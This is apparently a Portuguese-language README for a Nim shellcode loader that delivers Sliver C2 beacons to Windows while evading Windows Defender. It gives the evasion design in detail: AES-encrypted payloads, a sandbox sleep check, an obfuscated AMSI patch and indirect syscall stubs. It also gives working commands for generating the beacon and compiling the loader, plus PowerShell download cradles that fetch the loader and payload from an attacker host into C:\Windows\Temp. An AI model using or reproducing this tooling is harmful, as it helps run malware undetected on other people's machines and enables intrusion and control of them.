
Ferramenta de criptografia baseada em Nim para ofuscar shellcode e payloads visando evadir o Windows Defender.
Um carregador de shellcode Sliver escrito em Nim direcionado ao Windows x64. Duas variantes cobrindo as duas situações de entrega mais comuns. Testado contra o Windows Defender com proteção em tempo real ativada.
Lê um blob de shellcode criptografado do disco, descriptografa-o na memória e faz auto-injeção. Use esta quando você já tem uma primitiva de queda de arquivo e quer um binário pequeno e simples.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key e IV são opcionais. Se omitidos, o arquivo é tratado como shellcode bruto não criptografado.
Baixa o blob criptografado do seu C2 via HTTP usando a pilha WinHTTP do Windows, descriptografa-o na memória e faz auto-injeção. Nenhum arquivo toca o disco. Use esta quando você pode executar um binário no alvo mas não pode confiavelmente deixar cair um segundo arquivo.
Edite as constantes no topo de stageless/loader.nim antes de compilar:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
O carregador stageless chama Sleep(5000) na inicialização e mede o tempo real decorrido com GetTickCount64. Se menos de 4500ms passaram, o processo sai. A maioria dos ambientes automatizados de sandbox avançam rapidamente ou pulam os sleeps, fazendo a verificação falhar. Isso é executado antes de qualquer atividade de rede ou execução de shellcode, então sandboxes que inspecionam o comportamento de rede não veem nada.
amsi.nim faz patch em AmsiScanBuffer em tempo de execução usando duas camadas de ofuscação:
Ocultação de string via hashing FNV-1a. A string AmsiScanBuffer nunca aparece no binário. Em vez disso, seu hash FNV-1a é calculado em tempo de compilação e armazenado como uma constante. Em tempo de execução, o carregador percorre a tabela de exportação da amsi.dll, faz hash de cada nome de exportação e compara com o valor armazenado para encontrar o endereço da função sem nunca manter a string na memória.
Ofuscação XOR em tempo de compilação. Tanto o nome da DLL (amsi.dll) quanto os bytes do patch (xor eax, eax; ret = 31 C0 C3) são codificados com XOR em tempo de compilação usando uma chave aleatória gerada nova a cada build via um subprocesso Python. A chave é embutida como uma constante e os bytes são decodificados em tempo de execução imediatamente antes do uso. Os bytes brutos mudam a cada build, quebrando assinaturas estáticas na sequência do patch.
O patch sobrescreve os primeiros três bytes de AmsiScanBuffer com xor eax, eax; ret, fazendo cada chamada retornar AMSI_RESULT_CLEAN independentemente da entrada.
encrypt.py criptografa shellcode bruto com AES-256-CBC usando uma chave de 32 bytes gerada aleatoriamente e IV de 16 bytes. O carregador descriptografa in-place usando a API BCrypt do Windows, então nenhuma biblioteca de criptografia de terceiros é necessária no alvo.
A memória é alocada como PAGE_READWRITE, o shellcode é escrito nela, e então a região é alterada para PAGE_EXECUTE_READ antes da execução. Alocar diretamente como PAGE_EXECUTE_READWRITE é uma assinatura bem conhecida que o Defender e EDRs sinalizam explicitamente. Separar as fases de escrita e execução evita esse padrão.
stageless/syscalls.nim contorna tanto a camada da API Win32 (kernel32.dll) quanto quaisquer hooks de userland na ntdll.dll colocados por EDRs.
Resolução do SSN. Na inicialização, o carregador obtém o endereço base da ntdll e analisa sua tabela de exportação PE, coletando cada exportação Nt* ordenada por RVA. Para cada função NT que precisamos, ele verifica os primeiros quatro bytes:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) significa que o stub está limpo e o SSN é lido diretamente dos bytes 4-5. Isto é Hell's Gate.neighbor_SSN +/- distance. Os SSNs incrementam em um por stub em ordem de endereço. Isto é Halo's Gate.Localização do gadget. O carregador escaneia o primeiro stub Nt* limpo que encontra pela sequência de bytes 0F 05 C3 (syscall; ret). Isso dá um endereço dentro da seção .text da imagem da ntdll que podemos reutilizar.
Geração do stub. Para cada função necessária, um stub de 22 bytes é escrito em uma única página RW que é alterada para RX antes do uso:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
O jmp [rip+0] desreferencia os 8 bytes imediatamente seguintes (o endereço do gadget) e redireciona a execução para a sequência syscall; ret existente na ntdll. A instrução syscall dispara a partir do .text da ntdll, e não da nossa alocação anônima, derrotando qualquer rastreamento em nível de kernel de qual região de memória emitiu o syscall.
As quatro funções cobertas pelos syscalls indiretos são NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx e NtWaitForSingleObject.
Após a descriptografia, o carregador stageless aloca uma região RW em seu próprio processo via NtAllocateVirtualMemory, copia o shellcode com copyMem, altera a região para RX via NtProtectVirtualMemory e cria uma thread via NtCreateThreadEx. A thread principal então bloqueia indefinidamente em NtWaitForSingleObject, mantendo o processo vivo enquanto as goroutines do beacon executam. Todas as quatro chamadas passam pelos stubs de syscall indireta descritos acima.
A auto-injeção mantém a superfície de chamada mínima. Não há chamadas de API entre processos (WriteProcessMemory, CreateRemoteThread, etc.), que são os principais vetores de detecção para injeção remota clássica.
AmsiScanBuffer via FNV-1a, sobrescrever com xor eax, eax; retsyscall; ret, escrever stubsNtAllocateVirtualMemory no próprio processo (RW) via syscall indiretaNtProtectVirtualMemory para PAGE_EXECUTE_READ via syscall indiretaNtCreateThreadEx via syscall indiretaNtWaitForSingleObject no handle da thread via syscall indiretaVirtualAlloc (RW), copiar shellcode, VirtualProtect para RXNa sua máquina de build Linux:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
Edite stageless/loader.nim e defina c2Host, c2Port, c2Path, scKey, scIV, então a partir da raiz do projeto:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Sempre compile a partir da raiz do projeto para que apenas o nim.cfg raiz seja carregado. A saída é um PE Windows x64 estaticamente vinculado, sem dependências externas de DLL além das bibliotecas padrão do sistema.
Stageless: sirva o blob criptografado via HTTP na porta correspondente a c2Port:
cd bins && python3 -m http.server 443
Stager: transfira ambos os arquivos para o alvo:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager com criptografia:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager sem criptografia:
loader.exe shellcode.bin
Se for entregar via um cradle de download do PowerShell, o AMSI escaneará o script antes do carregador executar. Faça patch do AMSI na sua sessão PS primeiro:
python3 gen_amsi.py
Cole a saída na sessão do PS antes de baixar ou executar qualquer coisa. O script resolve AmsiScanBuffer pelo hash da tabela de exportação, então a string nunca aparece em texto plano, e todos os bytes do patch são codificados com XOR com uma chave aleatória por execução.
BCryptSetProperty para modo de encadeamento retorna STATUS_INVALID_PARAMETER mas BCrypt usa CBC por padrão, a descriptografia funciona corretamentesyscall nos stubs dispara de dentro da seção .text da ntdll (com suporte de imagem, assinada pela Microsoft), não da página do stub, derrotando o rastreamento de origem do syscall em nível de kernelVocê pode encontrar mais detalhes sobre Mecanismos, Técnicas e outras ferramentas do Defender no meu blog